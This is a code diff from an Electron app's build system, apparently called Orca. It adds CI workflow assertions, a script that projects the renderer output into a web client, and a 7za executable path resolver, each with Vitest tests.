|
||||
hook.call({} as never)
|
||||
}
|
||||
|
||||
describe('plain Node entry guard', () => {
|
||||
it('smoke-loads the daemon after output files are written', () => {
|
||||
const dir = createOutputDir()
|
||||
const plugin = createPlainNodeEntryGuardPlugin()
|
||||
|
||||
expect(() => runWriteBundle(plugin, dir)).not.toThrow()
|
||||
writeFileSync(
|
||||
join(dir, 'daemon-entry.js'),
|
||||
'console.error("Usage: daemon-entry <socket>"); process.exit(1)\n'
|
||||
)
|
||||
|
||||
expect(() => runCloseBundle(plugin)).not.toThrow()
|
||||
})
|
||||
|
||||
it('runs the deferred smoke from closeBundle', () => {
|
||||
const dir = createOutputDir()
|
||||
const plugin = createPlainNodeEntryGuardPlugin()
|
||||
|
||||
runWriteBundle(plugin, dir)
|
||||
writeFileSync(join(dir, 'daemon-entry.js'), "require('./missing-module')\n")
|
||||
|
||||
expect(() => runCloseBundle(plugin)).toThrow('failed to load under plain Node')
|
||||
})
|
||||
|
||||
it('rejects Electron imports during the static bundle scan', () => {
|
||||
const plugin = createPlainNodeEntryGuardPlugin()
|
||||
|
||||
expect(() => runWriteBundle(plugin, createOutputDir(), 'require("electron")')).toThrow(
|
||||
'requires electron'
|
||||
)
|
||||
})
|
||||
})
|
||||
@@ -0,0 +1,171 @@
|
||||
import { globSync, readFileSync } from 'node:fs'
|
||||
import { parse } from 'yaml'
|
||||
import { describe, expect, it } from 'vitest'
|
||||
|
||||
const workflow = parse(readFileSync('.github/workflows/pr.yml', 'utf8'))
|
||||
const dependencyAction = parse(
|
||||
readFileSync('.github/actions/install-node-dependencies/action.yml', 'utf8')
|
||||
)
|
||||
const packageJson = JSON.parse(readFileSync('package.json', 'utf8'))
|
||||
const shellContractFiles = [
|
||||
'src/main/daemon/shell-ready.test.ts',
|
||||
'src/main/providers/local-pty-shell-ready.test.ts',
|
||||
'src/main/providers/__tests__/shell-ready-framework-example.test.ts',
|
||||
'src/shared/posix-command-path-lookup.test.ts'
|
||||
]
|
||||
const patchedNodePtyContractFiles = [
|
||||
'src/main/daemon/node-pty-fd-leak.test.ts',
|
||||
'src/main/pty/omp-shell-wrapper.node-pty.test.ts'
|
||||
]
|
||||
const nativeShellContractFiles = [...shellContractFiles, ...patchedNodePtyContractFiles]
|
||||
const testFilePatterns = [
|
||||
'config/**/*.{test,spec}.{js,cjs,mjs,ts,tsx}',
|
||||
'src/**/*.{test,spec}.{js,cjs,mjs,ts,tsx}',
|
||||
'tests/**/*.{test,spec}.{js,cjs,mjs,ts,tsx}',
|
||||
'tools/**/*.{test,spec}.{js,cjs,mjs,ts,tsx}'
|
||||
]
|
||||
const realZshUsage =
|
||||
/(?:spawnSync|execFileSync|spawn)\(\s*['"](?:\/(?:usr\/)?bin\/)?zsh['"]|spawnSync\(\s*['"]which['"]\s*,\s*\[\s*['"]zsh['"]|name:\s*['"]zsh['"]\s*,\s*path:\s*executablePath/
|
||||
|
||||
describe('PR workflow parallelism', () => {
|
||||
it('cancels superseded runs for the same pull request', () => {
|
||||
expect(workflow.concurrency.group).toBe('pr-checks-${{ github.event.pull_request.number }}')
|
||||
expect(workflow.concurrency['cancel-in-progress']).toBe(true)
|
||||
})
|
||||
|
||||
it('grants the PR workflow read-only repository access', () => {
|
||||
expect(workflow.permissions).toEqual({ contents: 'read' })
|
||||
})
|
||||
|
||||
it('shards the general test suite across sixteen runners', () => {
|
||||
expect(workflow.jobs.test.strategy.matrix.shard).toEqual(
|
||||
Array.from({ length: 16 }, (_, index) => index + 1)
|
||||
)
|
||||
const testStep = workflow.jobs.test.steps.find((step) => step.name === 'Test shard')
|
||||
|
||||
expect(testStep.run).toContain('--shard=${{ matrix.shard }}/${{ strategy.job-total }}')
|
||||
for (const testFile of nativeShellContractFiles) {
|
||||
expect(testStep.run).toContain(`--exclude=${testFile}`)
|
||||
}
|
||||
})
|
||||
|
||||
it('runs real-zsh coverage once outside the general shards', () => {
|
||||
const shellStep = workflow.jobs.shell_contracts.steps.find(
|
||||
(step) => step.name === 'Test real shell contracts'
|
||||
)
|
||||
const shellInstall = workflow.jobs.shell_contracts.steps.find(
|
||||
(step) => step.uses === './.github/actions/install-node-dependencies'
|
||||
)
|
||||
|
||||
expect(workflow.jobs.test.steps.some((step) => step.name === 'Install zsh')).toBe(false)
|
||||
expect(workflow.jobs.shell_contracts.steps.some((step) => step.name === 'Install zsh')).toBe(
|
||||
true
|
||||
)
|
||||
expect(shellInstall.with['native-runtime']).toBe('node')
|
||||
for (const testFile of nativeShellContractFiles) {
|
||||
expect(shellStep.run).toContain(testFile)
|
||||
}
|
||||
})
|
||||
|
||||
it('keeps every real-zsh test in the dedicated shell lane', () => {
|
||||
const discoveredFiles = globSync(testFilePatterns)
|
||||
.filter((testFile) => realZshUsage.test(readFileSync(testFile, 'utf8')))
|
||||
.sort()
|
||||
|
||||
expect(discoveredFiles).toEqual([...shellContractFiles].sort())
|
||||
})
|
||||
|
||||
it('overlaps bundles with independent output directories', () => {
|
||||
const buildStep = workflow.jobs.package.steps.find(
|
||||
(step) => step.name === 'Build package inputs'
|
||||
)
|
||||
|
||||
expect(buildStep.run).toContain('scripts=(build:relay build:electron-vite:parallel)')
|
||||
expect(buildStep.run).toContain('pnpm run "$script" &')
|
||||
expect(
|
||||
workflow.jobs.package.steps.find(
|
||||
(step) => step.name === 'Project web client from renderer build'
|
||||
).run
|
||||
).toBe('pnpm run build:web-from-renderer')
|
||||
expect(packageJson.scripts['build:desktop']).toContain('pnpm run build:web-from-renderer')
|
||||
expect(packageJson.scripts['build:release']).toContain('pnpm run build:web-from-renderer')
|
||||
})
|
||||
|
||||
it('restores the pnpm store before dependency installation', () => {
|
||||
const steps = dependencyAction.runs.steps
|
||||
const pnpmIndex = steps.findIndex((step) => step.name === 'Setup pnpm')
|
||||
const nodeIndex = steps.findIndex((step) => step.name === 'Setup Node.js')
|
||||
|
||||
expect(pnpmIndex).toBeLessThan(nodeIndex)
|
||||
expect(steps[nodeIndex].with.cache).toBe('pnpm')
|
||||
})
|
||||
|
||||
it('restores Electron downloads before preparing the package runtime', () => {
|
||||
const steps = workflow.jobs.package.steps
|
||||
const cacheIndex = steps.findIndex((step) => step.name === 'Cache electron-builder downloads')
|
||||
const installIndex = steps.findIndex(
|
||||
(step) => step.uses === './.github/actions/install-node-dependencies'
|
||||
)
|
||||
|
||||
expect(cacheIndex).toBeGreaterThanOrEqual(0)
|
||||
expect(installIndex).toBeGreaterThanOrEqual(0)
|
||||
expect(cacheIndex).toBeLessThan(installIndex)
|
||||
})
|
||||
|
||||
it('prepares each native runtime before its consumers start', () => {
|
||||
const installFor = (jobName) =>
|
||||
workflow.jobs[jobName].steps.find(
|
||||
(step) => step.uses === './.github/actions/install-node-dependencies'
|
||||
)
|
||||
|
||||
for (const jobName of ['static_analysis', 'typecheck', 'git_compatibility']) {
|
||||
expect(installFor(jobName).with, jobName).toBeUndefined()
|
||||
}
|
||||
expect(installFor('shell_contracts').with['native-runtime']).toBe('node')
|
||||
expect(installFor('test').with['native-runtime']).toBe('node')
|
||||
expect(installFor('package').with['native-runtime']).toBe('electron')
|
||||
|
||||
expect(
|
||||
dependencyAction.runs.steps.find((step) => step.name === 'Use external node-gyp').if
|
||||
).toBe("inputs.native-runtime != 'none'")
|
||||
const dependencyInstall = dependencyAction.runs.steps.find(
|
||||
(step) => step.name === 'Install dependencies'
|
||||
)
|
||||
expect(dependencyInstall.run).toContain('--no-frozen-lockfile')
|
||||
expect(dependencyInstall.run).toContain('--ignore-scripts')
|
||||
expect(dependencyInstall.run).not.toContain('--os=')
|
||||
expect(dependencyInstall.run).not.toContain('--cpu=')
|
||||
expect(packageJson.pnpm.supportedArchitectures.os).toEqual(
|
||||
expect.arrayContaining(['current', 'win32'])
|
||||
)
|
||||
expect(packageJson.pnpm.supportedArchitectures.cpu).toContain('current')
|
||||
const prepareRuntime = dependencyAction.runs.steps.find(
|
||||
(step) => step.name === 'Prepare native runtime'
|
||||
)
|
||||
expect(prepareRuntime.if).toBe("inputs.native-runtime != 'none'")
|
||||
expect(prepareRuntime.run).toContain('ensure-native-runtime.mjs --runtime="$NATIVE_RUNTIME"')
|
||||
})
|
||||
|
||||
it('reuses native preparation after the dependency action gate', () => {
|
||||
const buildStep = workflow.jobs.package.steps.find(
|
||||
(step) => step.name === 'Build package inputs'
|
||||
)
|
||||
const packageStep = workflow.jobs.package.steps.find(
|
||||
(step) => step.name === 'Package unpacked app'
|
||||
)
|
||||
|
||||
expect(buildStep.run).not.toContain('ensure:electron-runtime')
|
||||
expect(packageStep.env.ORCA_REUSE_PREPARED_NATIVE_RUNTIME).toBe('1')
|
||||
})
|
||||
|
||||
it('keeps verify as the aggregate required check', () => {
|
||||
expect(workflow.jobs.verify.needs).toEqual([
|
||||
'static_analysis',
|
||||
'typecheck',
|
||||
'git_compatibility',
|
||||
'shell_contracts',
|
||||
'test',
|
||||
'package'
|
||||
])
|
||||
})
|
||||
})
|
||||
@@ -0,0 +1,165 @@
|
||||
import {
|
||||
cpSync,
|
||||
mkdirSync,
|
||||
readFileSync,
|
||||
readdirSync,
|
||||
renameSync,
|
||||
rmSync,
|
||||
statSync,
|
||||
writeFileSync
|
||||
} from 'node:fs'
|
||||
import { dirname, join, posix, resolve, sep } from 'node:path'
|
||||
import { transform } from 'esbuild'
|
||||
|
||||
const rendererOutput = resolve('out/renderer')
|
||||
const webOutput = resolve('out/web')
|
||||
const stagingOutput = resolve(dirname(webOutput), `.web-projection-${process.pid}`)
|
||||
const manifestPath = join(rendererOutput, '.vite', 'manifest.json')
|
||||
const manifest = JSON.parse(readFileSync(manifestPath, 'utf8'))
|
||||
const selectedFiles = new Set(['web-index.html'])
|
||||
const visitedEntries = new Set()
|
||||
|
||||
function assertEntryIsolation() {
|
||||
const entryKeys = new Set(
|
||||
Object.entries(manifest)
|
||||
.filter(([, entry]) => entry?.isEntry === true)
|
||||
.map(([key]) => key)
|
||||
)
|
||||
|
||||
for (const sourceEntry of entryKeys) {
|
||||
const visited = new Set()
|
||||
const pending = [sourceEntry]
|
||||
while (pending.length > 0) {
|
||||
const key = pending.pop()
|
||||
if (visited.has(key)) {
|
||||
continue
|
||||
}
|
||||
visited.add(key)
|
||||
const entry = manifest[key]
|
||||
if (!entry || typeof entry !== 'object') {
|
||||
throw new Error(`Renderer manifest is missing entry: ${key}`)
|
||||
}
|
||||
for (const dependency of [...(entry.imports ?? []), ...(entry.dynamicImports ?? [])]) {
|
||||
if (entryKeys.has(dependency) && dependency !== sourceEntry) {
|
||||
throw new Error(`Renderer entry ${sourceEntry} executes entry ${dependency}`)
|
||||
}
|
||||
pending.push(dependency)
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
function addOutputPath(outputPath) {
|
||||
if (
|
||||
typeof outputPath !== 'string' ||
|
||||
outputPath.length === 0 ||
|
||||
outputPath.startsWith('/') ||
|
||||
/^[A-Za-z]:/.test(outputPath) ||
|
||||
outputPath.includes('\\') ||
|
||||
outputPath.split('/').includes('..')
|
||||
) {
|
||||
throw new Error(`Invalid renderer output path: ${String(outputPath)}`)
|
||||
}
|
||||
selectedFiles.add(outputPath)
|
||||
}
|
||||
|
||||
function visitManifestEntry(key) {
|
||||
if (visitedEntries.has(key)) {
|
||||
return
|
||||
}
|
||||
visitedEntries.add(key)
|
||||
|
||||
const entry = manifest[key]
|
||||
if (!entry || typeof entry !== 'object') {
|
||||
throw new Error(`Renderer manifest is missing entry: ${key}`)
|
||||
}
|
||||
|
||||
addOutputPath(entry.file)
|
||||
for (const outputPath of [...(entry.css ?? []), ...(entry.assets ?? [])]) {
|
||||
addOutputPath(outputPath)
|
||||
}
|
||||
for (const dependency of [...(entry.imports ?? []), ...(entry.dynamicImports ?? [])]) {
|
||||
visitManifestEntry(dependency)
|
||||
}
|
||||
}
|
||||
|
||||
function listOutputFiles(directory, prefix = '') {
|
||||
return readdirSync(directory, { withFileTypes: true }).flatMap((entry) => {
|
||||
const outputPath = prefix ? join(prefix, entry.name) : entry.name
|
||||
return entry.isDirectory()
|
||||
? listOutputFiles(join(directory, entry.name), outputPath)
|
||||
: [outputPath.split(sep).join('/')]
|
||||
})
|
||||
}
|
||||
|
||||
function includeReferencedOutputs() {
|
||||
const candidates = listOutputFiles(rendererOutput).filter(
|
||||
(outputPath) => !outputPath.startsWith('.vite/') && !outputPath.endsWith('.html')
|
||||
)
|
||||
let foundReference = true
|
||||
|
||||
while (foundReference) {
|
||||
foundReference = false
|
||||
for (const selectedFile of selectedFiles) {
|
||||
if (!/\.(?:css|html|m?js|svg)$/.test(selectedFile)) {
|
||||
continue
|
||||
}
|
||||
const contents = readFileSync(join(rendererOutput, selectedFile), 'utf8')
|
||||
for (const candidate of candidates) {
|
||||
if (selectedFiles.has(candidate)) {
|
||||
continue
|
||||
}
|
||||
const localReference = posix.relative(posix.dirname(selectedFile), candidate)
|
||||
if (contents.includes(candidate) || contents.includes(localReference)) {
|
||||
selectedFiles.add(candidate)
|
||||
foundReference = true
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
async function minifyWebOutput() {
|
||||
await Promise.all(
|
||||
[...selectedFiles]
|
||||
.filter((outputPath) => /\.(?:css|m?js)$/.test(outputPath))
|
||||
.map(async (outputPath) => {
|
||||
const targetPath = join(stagingOutput, outputPath)
|
||||
const loader = outputPath.endsWith('.css') ? 'css' : 'js'
|
||||
const result = await transform(readFileSync(targetPath, 'utf8'), {
|
||||
legalComments: 'none',
|
||||
loader,
|
||||
minify: true,
|
||||
target: 'es2020'
|
||||
})
|
||||
writeFileSync(targetPath, result.code)
|
||||
})
|
||||
)
|
||||
}
|
||||
|
||||
assertEntryIsolation()
|
||||
visitManifestEntry('web-index.html')
|
||||
includeReferencedOutputs()
|
||||
|
||||
rmSync(stagingOutput, { force: true, recursive: true })
|
||||
try {
|
||||
for (const outputPath of selectedFiles) {
|
||||
const targetPath = join(stagingOutput, outputPath)
|
||||
mkdirSync(dirname(targetPath), { recursive: true })
|
||||
cpSync(join(rendererOutput, outputPath), targetPath)
|
||||
}
|
||||
await minifyWebOutput()
|
||||
|
||||
rmSync(webOutput, { force: true, recursive: true })
|
||||
renameSync(stagingOutput, webOutput)
|
||||
} finally {
|
||||
rmSync(stagingOutput, { force: true, recursive: true })
|
||||
}
|
||||
|
||||
const outputBytes = [...selectedFiles].reduce(
|
||||
(total, outputPath) => total + statSync(join(webOutput, outputPath)).size,
|
||||
0
|
||||
)
|
||||
console.log(
|
||||
`Projected web client: ${selectedFiles.size} files, ${(outputBytes / 1024 / 1024).toFixed(1)} MiB`
|
||||
)
|
||||
@@ -0,0 +1,117 @@
|
||||
import { existsSync, mkdirSync, mkdtempSync, readFileSync, rmSync, writeFileSync } from 'node:fs'
|
||||
import { tmpdir } from 'node:os'
|
||||
import { dirname, join, resolve } from 'node:path'
|
||||
import { spawnSync } from 'node:child_process'
|
||||
import { afterEach, describe, expect, it } from 'vitest'
|
||||
|
||||
const scriptPath = resolve('config/scripts/project-renderer-web-client.mjs')
|
||||
const temporaryRoots = []
|
||||
|
||||
function writeFixtureFile(root, relativePath, contents) {
|
||||
const targetPath = join(root, relativePath)
|
||||
mkdirSync(dirname(targetPath), { recursive: true })
|
||||
writeFileSync(targetPath, contents)
|
||||
}
|
||||
|
||||
function createRendererFixture() {
|
||||
const root = mkdtempSync(join(tmpdir(), 'orca-web-projection-'))
|
||||
temporaryRoots.push(root)
|
||||
const manifest = {
|
||||
'web-index.html': {
|
||||
file: 'assets/web-entry.js',
|
||||
isEntry: true,
|
||||
imports: ['_web-shared.js'],
|
||||
dynamicImports: ['src/lazy.ts']
|
||||
},
|
||||
'_web-shared.js': {
|
||||
file: 'assets/web-shared.js',
|
||||
css: ['assets/web.css'],
|
||||
assets: ['assets/logo.png']
|
||||
},
|
||||
'src/lazy.ts': { file: 'assets/lazy.js' },
|
||||
'index.html': { file: 'assets/desktop-entry.js', isEntry: true }
|
||||
}
|
||||
|
||||
writeFixtureFile(root, 'out/renderer/.vite/manifest.json', JSON.stringify(manifest))
|
||||
writeFixtureFile(
|
||||
root,
|
||||
'out/renderer/web-index.html',
|
||||
'<script type="module" src="./assets/web-entry.js"></script>'
|
||||
)
|
||||
writeFixtureFile(
|
||||
root,
|
||||
'out/renderer/assets/web-entry.js',
|
||||
'import "./web-shared.js"; new Worker(new URL("editor.worker-fixture.js", import.meta.url));'
|
||||
)
|
||||
writeFixtureFile(root, 'out/renderer/assets/web-shared.js', 'export const value = 1;')
|
||||
writeFixtureFile(root, 'out/renderer/assets/lazy.js', 'export const lazyValue = true;')
|
||||
writeFixtureFile(root, 'out/renderer/assets/web.css', '.root { color: red; }')
|
||||
writeFixtureFile(root, 'out/renderer/assets/logo.png', 'fixture-logo')
|
||||
writeFixtureFile(
|
||||
root,
|
||||
'out/renderer/assets/editor.worker-fixture.js',
|
||||
'self.onmessage = function (event) { self.postMessage(event.data) }'
|
||||
)
|
||||
writeFixtureFile(root, 'out/renderer/assets/desktop-entry.js', 'export const desktop = true;')
|
||||
writeFixtureFile(root, 'out/web/stale.js', 'stale')
|
||||
return root
|
||||
}
|
||||
|
||||
afterEach(() => {
|
||||
for (const root of temporaryRoots.splice(0)) {
|
||||
rmSync(root, { force: true, recursive: true })
|
||||
}
|
||||
})
|
||||
|
||||
describe('renderer web client projection', () => {
|
||||
it('keeps the build-only manifest out of packaged apps', () => {
|
||||
const builderConfig = readFileSync(resolve('config/electron-builder.config.cjs'), 'utf8')
|
||||
|
||||
expect(builderConfig).toContain("'!out/renderer/.vite{,/**/*}'")
|
||||
})
|
||||
|
||||
it('copies and minifies only the web dependency closure', () => {
|
||||
const root = createRendererFixture()
|
||||
const result = spawnSync(process.execPath, [scriptPath], {
|
||||
cwd: root,
|
||||
encoding: 'utf8'
|
||||
})
|
||||
|
||||
expect(result.status, result.stderr).toBe(0)
|
||||
expect(result.stdout).toContain('Projected web client: 7 files')
|
||||
expect(existsSync(join(root, 'out/web/web-index.html'))).toBe(true)
|
||||
expect(existsSync(join(root, 'out/web/assets/editor.worker-fixture.js'))).toBe(true)
|
||||
expect(existsSync(join(root, 'out/web/assets/logo.png'))).toBe(true)
|
||||
expect(existsSync(join(root, 'out/web/assets/desktop-entry.js'))).toBe(false)
|
||||
expect(existsSync(join(root, 'out/web/stale.js'))).toBe(false)
|
||||
expect(readFileSync(join(root, 'out/web/assets/web.css'), 'utf8')).toBe('.root{color:red}\n')
|
||||
})
|
||||
|
||||
it('fails when the renderer manifest omits the web entry', () => {
|
||||
const root = createRendererFixture()
|
||||
writeFixtureFile(root, 'out/renderer/.vite/manifest.json', '{}')
|
||||
const result = spawnSync(process.execPath, [scriptPath], {
|
||||
cwd: root,
|
||||
encoding: 'utf8'
|
||||
})
|
||||
|
||||
expect(result.status).toBe(1)
|
||||
expect(result.stderr).toContain('Renderer manifest is missing entry: web-index.html')
|
||||
})
|
||||
|
||||
it('rejects renderer entries that execute another entry root', () => {
|
||||
const root = createRendererFixture()
|
||||
const manifestPath = join(root, 'out/renderer/.vite/manifest.json')
|
||||
const manifest = JSON.parse(readFileSync(manifestPath, 'utf8'))
|
||||
manifest['web-index.html'].dynamicImports.push('index.html')
|
||||
writeFileSync(manifestPath, JSON.stringify(manifest))
|
||||
|
||||
const result = spawnSync(process.execPath, [scriptPath], {
|
||||
cwd: root,
|
||||
encoding: 'utf8'
|
||||
})
|
||||
|
||||
expect(result.status).toBe(1)
|
||||
expect(result.stderr).toContain('Renderer entry web-index.html executes entry index.html')
|
||||
})
|
||||
})
|
||||
@@ -0,0 +1,102 @@
|
||||
#!/usr/bin/env node
|
||||
|
||||
// Why: electron-builder 26.9+ dropped the bundled `7zip-bin` package in favour of a
|
||||
// toolset downloaded at build time, so the hardcoded `node_modules/7zip-bin/...` path
|
||||
// the release signing gates used silently stopped resolving (#6487).
|
||||
|
||||
import { createRequire } from 'node:module'
|
||||
import { existsSync, statSync } from 'node:fs'
|
||||
import { resolve } from 'node:path'
|
||||
|
||||
const require = createRequire(import.meta.url)
|
||||
|
||||
// Why not existsSync: PowerShell's `Test-Path` is true for directories too, so a
|
||||
// override pointing at a folder would satisfy both checks and only fail later as
|
||||
// an opaque exec error inside the gate.
|
||||
function isFile(path) {
|
||||
try {
|
||||
return statSync(path).isFile()
|
||||
} catch {
|
||||
return false
|
||||
}
|
||||
}
|
||||
|
||||
// Legacy layout, still valid if a transitive dep reintroduces 7zip-bin. The
|
||||
// package ships `mac/`, not `darwin/`, and keeps a separate ia32 build.
|
||||
export function legacy7zaRelativePath(platform = process.platform, arch = process.arch) {
|
||||
if (platform === 'win32') {
|
||||
return ['node_modules', '7zip-bin', 'win', arch, '7za.exe']
|
||||
}
|
||||
const dir = platform === 'darwin' ? 'mac' : platform
|
||||
return ['node_modules', '7zip-bin', dir, arch, '7za']
|
||||
}
|
||||
|
||||
// app-builder-lib logs download progress to stdout, which would corrupt the
|
||||
// single-path contract the PowerShell gates parse. Divert it to stderr so a
|
||||
// cold toolset cache stays debuggable without breaking the caller.
|
||||
//
|
||||
// Why refcounted: patching `process.stdout.write` is process-global, so two
|
||||
// concurrent callers would each capture the other's patched function as their
|
||||
// "original" and the last `finally` would restore a diverting stub permanently.
|
||||
let stdoutDivertDepth = 0
|
||||
let originalStdoutWrite = null
|
||||
|
||||
async function withStdoutDivertedToStderr(run) {
|
||||
if (stdoutDivertDepth === 0) {
|
||||
originalStdoutWrite = process.stdout.write
|
||||
process.stdout.write = (chunk, encoding, callback) =>
|
||||
process.stderr.write(chunk, encoding, callback)
|
||||
}
|
||||
stdoutDivertDepth += 1
|
||||
try {
|
||||
return await run()
|
||||
} finally {
|
||||
stdoutDivertDepth -= 1
|
||||
if (stdoutDivertDepth === 0) {
|
||||
process.stdout.write = originalStdoutWrite
|
||||
originalStdoutWrite = null
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
export async function resolve7zaPath(projectDir = process.cwd()) {
|
||||
const override = process.env.ELECTRON_BUILDER_7ZIP_PATH
|
||||
if (override && isFile(override)) {
|
||||
return override
|
||||
}
|
||||
|
||||
const legacy = resolve(projectDir, ...legacy7zaRelativePath())
|
||||
if (isFile(legacy)) {
|
||||
return legacy
|
||||
}
|
||||
|
||||
// app-builder-lib reads the same env var and hard-fails on a stale value, so a
|
||||
// dangling override must be cleared rather than passed through to the download.
|
||||
const restoreOverride = override !== undefined
|
||||
if (restoreOverride) {
|
||||
delete process.env.ELECTRON_BUILDER_7ZIP_PATH
|
||||
}
|
||||
try {
|
||||
// The toolset is cached after the first download, so a release build has
|
||||
// already paid this cost by the time the signing gate runs.
|
||||
const { getPath7za } = require('app-builder-lib/out/toolsets/7zip.js')
|
||||
const toolsetPath = await withStdoutDivertedToStderr(() => getPath7za())
|
||||
if (!existsSync(toolsetPath)) {
|
||||
throw new Error(`app-builder-lib returned a 7za path that does not exist: ${toolsetPath}`)
|
||||
}
|
||||
return toolsetPath
|
||||
} finally {
|
||||
if (restoreOverride) {
|
||||
process.env.ELECTRON_BUILDER_7ZIP_PATH = override
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if (import.meta.filename === process.argv[1]) {
|
||||
try {
|
||||
process.stdout.write(`${await resolve7zaPath()}\n`)
|
||||
} catch (error) {
|
||||
process.stderr.write(`Could not resolve a 7za executable: ${error.message}\n`)
|
||||
process.exit(1)
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,170 @@
|
||||
import { spawnSync } from 'node:child_process'
|
||||
import { existsSync, mkdirSync, mkdtempSync, rmSync, statSync, writeFileSync } from 'node:fs'
|
||||
import { tmpdir } from 'node:os'
|
||||
import { join, resolve } from 'node:path'
|
||||
import { describe, expect, it } from 'vitest'
|
||||
|
||||
import { legacy7zaRelativePath, resolve7zaPath } from './resolve-7za-path.mjs'
|
||||
|
||||
const projectRoot = resolve(import.meta.dirname, '../..')
|
||||
|
||||
describe('7za path resolution for the Windows signing gates (#6487)', () => {
|
||||
// Why fixtures: 7zip-bin@5.2.0 ships mac/{arm64,x64}, win/{arm64,ia32,x64}
|
||||
// and linux/{arm,arm64,ia32,x64} — a `darwin/` or arch-collapsed guess
|
||||
// resolves to nothing, which is how the gate degraded silently in the first place.
|
||||
it.each([
|
||||
['darwin', 'arm64', 'mac/arm64/7za'],
|
||||
['darwin', 'x64', 'mac/x64/7za'],
|
||||
['win32', 'x64', 'win/x64/7za.exe'],
|
||||
['win32', 'ia32', 'win/ia32/7za.exe'],
|
||||
['win32', 'arm64', 'win/arm64/7za.exe'],
|
||||
['linux', 'x64', 'linux/x64/7za'],
|
||||
['linux', 'arm64', 'linux/arm64/7za']
|
||||
])('maps the %s/%s legacy layout to %s', (platform, arch, expected) => {
|
||||
expect(legacy7zaRelativePath(platform, arch).join('/')).toBe(
|
||||
`node_modules/7zip-bin/${expected}`
|
||||
)
|
||||
})
|
||||
|
||||
it('prefers a real legacy binary over the downloaded toolset', async () => {
|
||||
// Only meaningful if a transitive dep reintroduces the package.
|
||||
const legacy = join(projectRoot, ...legacy7zaRelativePath())
|
||||
if (!existsSync(legacy)) {
|
||||
return
|
||||
}
|
||||
await expect(resolve7zaPath(projectRoot)).resolves.toBe(legacy)
|
||||
})
|
||||
|
||||
it('resolves an executable 7za that can extract an archive', async () => {
|
||||
const path7za = await resolve7zaPath(projectRoot)
|
||||
expect(existsSync(path7za)).toBe(true)
|
||||
|
||||
const scratch = mkdtempSync(join(tmpdir(), 'orca 7za resolve '))
|
||||
try {
|
||||
const payloadDir = join(scratch, 'payload')
|
||||
mkdirSync(payloadDir, { recursive: true })
|
||||
writeFileSync(join(payloadDir, 'Orca.exe'), 'not-a-real-pe')
|
||||
|
||||
const archive = join(scratch, 'bundle.7z')
|
||||
const created = spawnSync(path7za, ['a', archive, payloadDir], { encoding: 'utf8' })
|
||||
expect(created.status).toBe(0)
|
||||
|
||||
const outDir = join(scratch, 'out')
|
||||
const extracted = spawnSync(path7za, ['x', archive, `-o${outDir}`, '-y'], {
|
||||
encoding: 'utf8'
|
||||
})
|
||||
expect(extracted.status).toBe(0)
|
||||
expect(existsSync(join(outDir, 'payload', 'Orca.exe'))).toBe(true)
|
||||
} finally {
|
||||
rmSync(scratch, { recursive: true, force: true })
|
||||
}
|
||||
}, 120_000)
|
||||
|
||||
it('prefers an explicit ELECTRON_BUILDER_7ZIP_PATH override', async () => {
|
||||
const scratch = mkdtempSync(join(tmpdir(), 'orca 7za override '))
|
||||
const previous = process.env.ELECTRON_BUILDER_7ZIP_PATH
|
||||
try {
|
||||
const fake = join(scratch, 'my7za')
|
||||
writeFileSync(fake, '#!/bin/sh\n')
|
||||
process.env.ELECTRON_BUILDER_7ZIP_PATH = fake
|
||||
await expect(resolve7zaPath(projectRoot)).resolves.toBe(fake)
|
||||
} finally {
|
||||
if (previous === undefined) {
|
||||
delete process.env.ELECTRON_BUILDER_7ZIP_PATH
|
||||
} else {
|
||||
process.env.ELECTRON_BUILDER_7ZIP_PATH = previous
|
||||
}
|
||||
rmSync(scratch, { recursive: true, force: true })
|
||||
}
|
||||
})
|
||||
|
||||
// Why a directory and not a missing path: PowerShell's `Test-Path $7za` is true
|
||||
// for directories, so a folder-valued override would clear both the resolver's
|
||||
// check and the gate's, then fail as an opaque exec error mid-extraction.
|
||||
it('ignores an override that points at a directory', async () => {
|
||||
const scratch = mkdtempSync(join(tmpdir(), 'orca 7za dir override '))
|
||||
const previous = process.env.ELECTRON_BUILDER_7ZIP_PATH
|
||||
try {
|
||||
process.env.ELECTRON_BUILDER_7ZIP_PATH = scratch
|
||||
const resolved = await resolve7zaPath(projectRoot)
|
||||
expect(resolved).not.toBe(scratch)
|
||||
expect(statSync(resolved).isFile()).toBe(true)
|
||||
} finally {
|
||||
if (previous === undefined) {
|
||||
delete process.env.ELECTRON_BUILDER_7ZIP_PATH
|
||||
} else {
|
||||
process.env.ELECTRON_BUILDER_7ZIP_PATH = previous
|
||||
}
|
||||
rmSync(scratch, { recursive: true, force: true })
|
||||
}
|
||||
}, 120_000)
|
||||
|
||||
// Why concurrency: the stdout diversion patches a process-global function. A
|
||||
// naive save/restore lets the first finisher reinstate a still-diverting stub
|
||||
// as "the original", permanently swallowing stdout for the rest of the process.
|
||||
it('restores stdout after concurrent resolutions', async () => {
|
||||
const before = process.stdout.write
|
||||
await Promise.all([
|
||||
resolve7zaPath(projectRoot),
|
||||
resolve7zaPath(projectRoot),
|
||||
resolve7zaPath(projectRoot)
|
||||
])
|
||||
expect(process.stdout.write).toBe(before)
|
||||
}, 120_000)
|
||||
|
||||
// Why a subprocess: app-builder-lib memoises the resolved toolset, so an in-process
|
||||
// assertion passes on the cached value even when a dangling override would abort a
|
||||
// cold release runner.
|
||||
it('ignores an override that points at a missing file, in a cold process', () => {
|
||||
const dangling = join(tmpdir(), 'orca-7za-does-not-exist')
|
||||
const result = spawnSync(process.execPath, ['config/scripts/resolve-7za-path.mjs'], {
|
||||
cwd: projectRoot,
|
||||
encoding: 'utf8',
|
||||
env: { ...process.env, ELECTRON_BUILDER_7ZIP_PATH: dangling },
|
||||
timeout: 120_000
|
||||
})
|
||||
|
||||
expect(result.stderr ?? '').not.toContain('does not exist')
|
||||
expect(result.status).toBe(0)
|
||||
const resolved = result.stdout.trim()
|
||||
expect(resolved).not.toBe(dangling)
|
||||
expect(existsSync(resolved)).toBe(true)
|
||||
}, 120_000)
|
||||
|
||||
it('prints exactly one clean line the PowerShell gate can consume', () => {
|
||||
const result = spawnSync(process.execPath, ['config/scripts/resolve-7za-path.mjs'], {
|
||||
cwd: projectRoot,
|
||||
encoding: 'utf8',
|
||||
timeout: 120_000
|
||||
})
|
||||
|
||||
expect(result.status).toBe(0)
|
||||
